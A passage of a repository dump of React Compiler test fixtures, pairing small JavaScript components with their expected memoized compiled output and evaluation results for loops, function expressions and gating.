    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let x = [];\n  let items = [0, 1, 2];\n  for (const ii of items) {\n    x.push(ii * 2);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = [];\n    const items = [0, 1, 2];\n    for (const ii of items) {\n      x.push(ii * 2);\n    }\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,2,4]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-simple.js",
    "content": "function Component() {\n  let x = [];\n  let items = [0, 1, 2];\n  for (const ii of items) {\n    x.push(ii * 2);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  for (let i = 0; i < props.count; i++) {\n    return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  for (const i = 0; 0 < props.count; ) {\n    return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.js",
    "content": "function Component(props) {\n  for (let i = 0; i < props.count; i++) {\n    return;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = props.init;\n  for (let i = 0; i < 100; i = i + 1) {\n    x += i;\n  }\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{init: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x = props.init;\n  for (let i = 0; i < 100; i = i + 1) {\n    x = x + i;\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ init: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [4950]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.js",
    "content": "function Component(props) {\n  let x = props.init;\n  for (let i = 0; i < 100; i = i + 1) {\n    x += i;\n  }\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{init: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/frozen-after-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const a = [];\n  const b = a;\n  useFreeze(a);\n  foo(b); // should be readonly, value is guaranteed frozen via alias\n  return b;\n}\n\nfunction useFreeze() {}\nfunction foo(x) {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const a = t0;\n  const b = a;\n  useFreeze(a);\n  foo(b);\n  return b;\n}\n\nfunction useFreeze() {}\nfunction foo(x) {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/frozen-after-alias.js",
    "content": "function Component() {\n  const a = [];\n  const b = a;\n  useFreeze(a);\n  foo(b); // should be readonly, value is guaranteed frozen via alias\n  return b;\n}\n\nfunction useFreeze() {}\nfunction foo(x) {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-reassign.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  function x(a) {\n    a.foo();\n  }\n  x = {};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let x;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-reassign.js",
    "content": "function component() {\n  function x(a) {\n    a.foo();\n  }\n  x = {};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-redeclare.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  function x(a) {\n    a.foo();\n  }\n  function x() {}\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component() {\n  const $ = _c(1);\n  let x;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = function x() {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-redeclare.js",
    "content": "function component() {\n  function x(a) {\n    a.foo();\n  }\n  function x() {}\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let t = {a};\n  function x(p) {\n    p.foo();\n  }\n  x(t);\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(3);\n  let t;\n  if ($[0] !== a) {\n    t = { a };\n    let t0;\n    if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t0 = function x(p) {\n        p.foo();\n      };\n      $[2] = t0;\n    } else {\n      t0 = $[2];\n    }\n    const x = t0;\n\n    x(t);\n    $[0] = a;\n    $[1] = t;\n  } else {\n    t = $[1];\n  }\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.js",
    "content": "function component(a) {\n  let t = {a};\n  function x(p) {\n    p.foo();\n  }\n  x(t);\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  'use strict';\n  let [count, setCount] = React.useState(0);\n  function update() {\n    'worklet';\n    setCount(count => count + 1);\n  }\n  return <button onClick={update}>{count}</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  \"use strict\";\n  const $ = _c(3);\n\n  const [count, setCount] = React.useState(0);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = function update() {\n      \"worklet\";\n\n      setCount(_temp);\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const update = t0;\n  let t1;\n  if ($[1] !== count) {\n    t1 = <button onClick={update}>{count}</button>;\n    $[1] = count;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\nfunction _temp(count_0) {\n  return count_0 + 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <button>0</button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.js",
    "content": "function Component() {\n  'use strict';\n  let [count, setCount] = React.useState(0);\n  function update() {\n    'worklet';\n    setCount(count => count + 1);\n  }\n  return <button onClick={update}>{count}</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = {};\n  // onChange should be inferred as immutable, because the value\n  // it captures (`x`) is frozen by the time the function is referenced\n  const onChange = e => {\n    maybeMutate(x, e.target.value);\n  };\n  if (props.cond) {\n    <div>{x}</div>;\n  }\n  return <Foo value={x} onChange={onChange} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (e) => {\n      maybeMutate(x, e.target.value);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const onChange = t1;\n\n  if (props.cond) {\n  }\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = <Foo value={x} onChange={onChange} />;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.js",
    "content": "function Component(props) {\n  let x = {};\n  // onChange should be inferred as immutable, because the value\n  // it captures (`x`) is frozen by the time the function is referenced\n  const onChange = e => {\n    maybeMutate(x, e.target.value);\n  };\n  if (props.cond) {\n    <div>{x}</div>;\n  }\n  return <Foo value={x} onChange={onChange} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-maybe-mutates-hook-return-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const id = useSelectedEntitytId();\n  // this example should infer `id` as mutable, and then infer `onLoad` as mutable,\n  // and be rejected because onLoad cannot be passed as a frozen value in the JSX.\n  // however, we likely have to allow this example to work, because hook return\n  // values are generally immutable in practice and are also widely referenced in\n  // callbacks.\n  const onLoad = () => {\n    log(id);\n  };\n  return <Foo onLoad={onLoad} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const id = useSelectedEntitytId();\n  let t0;\n  if ($[0] !== id) {\n    const onLoad = () => {\n      log(id);\n    };\n    t0 = <Foo onLoad={onLoad} />;\n    $[0] = id;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-maybe-mutates-hook-return-value.js",
    "content": "function Component(props) {\n  const id = useSelectedEntitytId();\n  // this example should infer `id` as mutable, and then infer `onLoad` as mutable,\n  // and be rejected because onLoad cannot be passed as a frozen value in the JSX.\n  // however, we likely have to allow this example to work, because hook return\n  // values are generally immutable in practice and are also widely referenced in\n  // callbacks.\n  const onLoad = () => {\n    log(id);\n  };\n  return <Foo onLoad={onLoad} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const a = useMemo(() => {\n    const a = [];\n    const f = function () {\n      a.push(props.name);\n    };\n    f.call();\n    return a;\n  }, [props.name]);\n  return <ValidateMemoization inputs={[props.name]} output={a} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n  sequentialRenders: [{name: 'Lauren'}, {name: 'Lauren'}, {name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(7);\n  let a;\n  if ($[0] !== props.name) {\n    a = [];\n    const f = function () {\n      a.push(props.name);\n    };\n\n    f.call();\n    $[0] = props.name;\n    $[1] = a;\n  } else {\n    a = $[1];\n  }\n  const a_0 = a;\n  let t0;\n  if ($[2] !== props.name) {\n    t0 = [props.name];\n    $[2] = props.name;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  let t1;\n  if ($[4] !== a_0 || $[5] !== t0) {\n    t1 = <ValidateMemoization inputs={t0} output={a_0} />;\n    $[4] = a_0;\n    $[5] = t0;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Jason\" }],\n  sequentialRenders: [\n    { name: \"Lauren\" },\n    { name: \"Lauren\" },\n    { name: \"Jason\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[\"Lauren\"],\"output\":[\"Lauren\"]}</div>\n<div>{\"inputs\":[\"Lauren\"],\"output\":[\"Lauren\"]}</div>\n<div>{\"inputs\":[\"Jason\"],\"output\":[\"Jason\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.js",
    "content": "import {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const a = useMemo(() => {\n    const a = [];\n    const f = function () {\n      a.push(props.name);\n    };\n    f.call();\n    return a;\n  }, [props.name]);\n  return <ValidateMemoization inputs={[props.name]} output={a} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n  sequentialRenders: [{name: 'Lauren'}, {name: 'Lauren'}, {name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const f = function () {\n    return <div>{props.name}</div>;\n  };\n  return f.call();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const f = function () {\n      return <div>{props.name}</div>;\n    };\n    t0 = f.call();\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Jason</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.js",
    "content": "function Component(props) {\n  const f = function () {\n    return <div>{props.name}</div>;\n  };\n  return f.call();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-with-store-to-parameter.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const mutate = (object, key, value) => {\n    object.updated = true;\n    object[key] = value;\n  };\n  const x = makeObject(props);\n  mutate(x);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const mutate = _temp;\n  let x;\n  if ($[0] !== props) {\n    x = makeObject(props);\n    mutate(x);\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\nfunction _temp(object, key, value) {\n  object.updated = true;\n  object[key] = value;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-with-store-to-parameter.js",
    "content": "function Component(props) {\n  const mutate = (object, key, value) => {\n    object.updated = true;\n    object[key] = value;\n  };\n  const x = makeObject(props);\n  mutate(x);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(x = 'default', y = [{}]) {\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0, t1) {\n  const $ = _c(5);\n  const x = t0 === undefined ? \"default\" : t0;\n  let t2;\n  if ($[0] !== t1) {\n    t2 = t1 === undefined ? [{}] : t1;\n    $[0] = t1;\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  const y = t2;\n  let t3;\n  if ($[2] !== x || $[3] !== y) {\n    t3 = [x, y];\n    $[2] = x;\n    $[3] = y;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-param-assignment-pattern.js",
    "content": "function Component(x = 'default', y = [{}]) {\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\nimport {Stringify} from 'shared-runtime';\nconst ErrorView = ({error, _retry}) => <Stringify error={error}></Stringify>;\n\nexport default ErrorView;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('ErrorView'),\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\nimport { Stringify } from \"shared-runtime\";\nconst ErrorView = isForgetEnabled_Fixtures()\n  ? (t0) => {\n      const $ = _c(2);\n      const { error } = t0;\n      let t1;\n      if ($[0] !== error) {\n        t1 = <Stringify error={error} />;\n        $[0] = error;\n        $[1] = t1;\n      } else {\n        t1 = $[1];\n      }\n      return t1;\n    }\n  : ({ error, _retry }) => <Stringify error={error}></Stringify>;\n\nexport default ErrorView;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"ErrorView\"),\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/arrow-function-expr-gating-test.js",
    "content": "// @gating\nimport {Stringify} from 'shared-runtime';\nconst ErrorView = ({error, _retry}) => <Stringify error={error}></Stringify>;\n\nexport default ErrorView;\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('ErrorView'),\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableEmitInstrumentForget @compilationMode:\"annotation\" @gating\n\nfunction Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  if (props.bar < 0) {\n    return props.children;\n  }\n  return (\n    <Foo bar={props.bar - 1}>\n      <NoForget />\n    </Foo>\n  );\n}\n\nglobal.DEV = true;\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Foo'),\n  params: [{bar: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { shouldInstrument, useRenderCounter } from \"react-compiler-runtime\";\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @enableEmitInstrumentForget @compilationMode:\"annotation\" @gating\nconst Bar = isForgetEnabled_Fixtures()\n  ? function Bar(props) {\n      \"use forget\";\n      if (DEV && shouldInstrument)\n        useRenderCounter(\"Bar\", \"/codegen-instrument-forget-gating-test.ts\");\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <div>{props.bar}</div>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Bar(props) {\n      \"use forget\";\n      return <div>{props.bar}</div>;\n    };\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\nconst Foo = isForgetEnabled_Fixtures()\n  ? function Foo(props) {\n      \"use forget\";\n      if (DEV && shouldInstrument)\n        useRenderCounter(\"Foo\", \"/codegen-instrument-forget-gating-test.ts\");\n      const $ = _c(3);\n\n      if (props.bar < 0) {\n        return props.children;\n      }\n\n      const t0 = props.bar - 1;\n      let t1;\n      if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t1 = <NoForget />;\n        $[0] = t1;\n      } else {\n        t1 = $[0];\n      }\n      let t2;\n      if ($[1] !== t0) {\n        t2 = <Foo bar={t0}>{t1}</Foo>;\n        $[1] = t0;\n        $[2] = t2;\n      } else {\n        t2 = $[2];\n      }\n      return t2;\n    }\n  : function Foo(props) {\n      \"use forget\";\n      if (props.bar < 0) {\n        return props.children;\n      }\n      return (\n        <Foo bar={props.bar - 1}>\n          <NoForget />\n        </Foo>\n      );\n    };\n\nglobal.DEV = true;\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Foo\"),\n  params: [{ bar: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/codegen-instrument-forget-gating-test.js",
    "content": "// @enableEmitInstrumentForget @compilationMode:\"annotation\" @gating\n\nfunction Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nfunction NoForget(props) {\n  return <Bar>{props.noForget}</Bar>;\n}\n\nfunction Foo(props) {\n  'use forget';\n  if (props.bar < 0) {\n    return props.children;\n  }\n  return (\n    <Foo bar={props.bar - 1}>\n      <NoForget />\n    </Foo>\n  );\n}\n\nglobal.DEV = true;\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Foo'),\n  params: [{bar: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @gating\nimport {Stringify} from 'shared-runtime';\nimport * as React from 'react';\n\ncomponent Foo(ref: React.RefSetter<Controls>) {\n  return <Stringify ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('(...args) => React.createElement(Foo, args)'),\n  params: [{ref: React.createRef()}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\";\nimport { Stringify } from \"shared-runtime\";\nimport * as React from \"react\";\n\nconst Foo = React.forwardRef(Foo_withRef);\nconst isForgetEnabled_Fixtures_result = isForgetEnabled_Fixtures();\nfunction Foo_withRef_optimized(_$$empty_props_placeholder$$, ref) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== ref) {\n    t0 = <Stringify ref={ref} />;\n    $[0] = ref;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction Foo_withRef_unoptimized(\n  _$$empty_props_placeholder$$: $ReadOnly<{}>,\n  ref: React.RefSetter<Controls>,\n): React.Node {\n  return <Stringify ref={ref} />;\n}\nfunction Foo_withRef(arg0, arg1) {\n  if (isForgetEnabled_Fixtures_result) return Foo_withRef_optimized(arg0, arg1);\n  else return Foo_withRef_unoptimized(arg0, arg1);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"(...args) => React.createElement(Foo, args)\"),\n  params: [{ ref: React.createRef() }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"ref\":null}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/component-syntax-ref-gating.flow.js",
    "content": "// @flow @gating\nimport {Stringify} from 'shared-runtime';\nimport * as React from 'react';\n\ncomponent Foo(ref: React.RefSetter<Controls>) {\n  return <Stringify ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('(...args) => React.createElement(Foo, args)'),\n  params: [{ref: React.createRef()}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.expect.md",
    "content": "\n## Input\n\n```javascript\n// @gating\n\nexport const isForgetEnabled_Fixtures = () => {\n  'use no forget';\n  return false;\n};\n\nexport function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { isForgetEnabled_Fixtures as _isForgetEnabled_Fixtures } from \"ReactForgetFeatureFlag\"; // @gating\n\nexport const isForgetEnabled_Fixtures = () => {\n  \"use no forget\";\n  return false;\n};\n\nexport const Bar = _isForgetEnabled_Fixtures()\n  ? function Bar(props) {\n      \"use forget\";\n      const $ = _c(2);\n      let t0;\n      if ($[0] !== props.bar) {\n        t0 = <div>{props.bar}</div>;\n        $[0] = props.bar;\n        $[1] = t0;\n      } else {\n        t0 = $[1];\n      }\n      return t0;\n    }\n  : function Bar(props) {\n      \"use forget\";\n      return <div>{props.bar}</div>;\n    };\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval(\"Bar\"),\n  params: [{ bar: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/conflicting-gating-fn.js",
    "content": "// @gating\n\nexport const isForgetEnabled_Fixtures = () => {\n  'use no forget';\n  return false;\n};\n\nexport function Bar(props) {\n  'use forget';\n  return <div>{props.bar}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: eval('Bar'),\n  params: [{bar: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/gating/dynamic-gating-annotation.expect.md",
